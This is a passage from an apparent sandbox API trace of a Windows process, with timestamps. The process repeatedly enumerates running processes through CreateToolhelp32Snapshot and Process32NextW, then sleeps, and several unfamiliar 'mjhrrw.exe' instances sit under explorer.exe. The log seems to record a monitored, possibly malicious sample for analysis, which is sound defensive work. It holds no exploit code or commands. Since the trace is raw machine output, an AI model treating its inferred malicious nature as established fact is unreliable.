lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0250.630] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0250.631] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0250.632] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0250.632] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0250.633] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0250.768] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0250.769] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0250.770] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.771] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0250.771] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0250.772] CloseHandle (hObject=0x390) returned 1 [0250.772] Sleep (dwMilliseconds=0x1f4) [0251.367] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0251.374] Process32FirstW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0251.375] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0251.375] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0251.376] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.377] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0251.377] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0251.378] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0251.378] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0251.379] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0251.380] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.380] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0251.381] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.381] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.382] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0251.383] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.384] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.385] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.385] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.386] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.386] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.387] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.388] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.388] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.390] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.391] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0251.391] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.392] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0251.393] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0251.393] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0251.394] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0251.394] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0251.395] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.396] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0251.397] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0251.398] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0251.398] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0251.399] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0251.399] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0251.400] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0251.400] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0251.401] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0251.402] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0251.402] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0251.403] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0251.404] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0251.406] Process32NextW (in: hSnapshot=0x390, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0251.407] CloseHandle (hObject=0x390) returned 1 [0251.407] Sleep (dwMilliseconds=0x1f4) [0252.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0252.195] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.195] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.200] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.201] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.201] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.202] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.203] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.203] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.204] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.205] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.206] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.207] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.207] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.208] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.208] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.209] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.210] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.210] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.211] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.212] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.213] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.213] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.214] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.215] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.216] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.216] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.217] Process32NextW 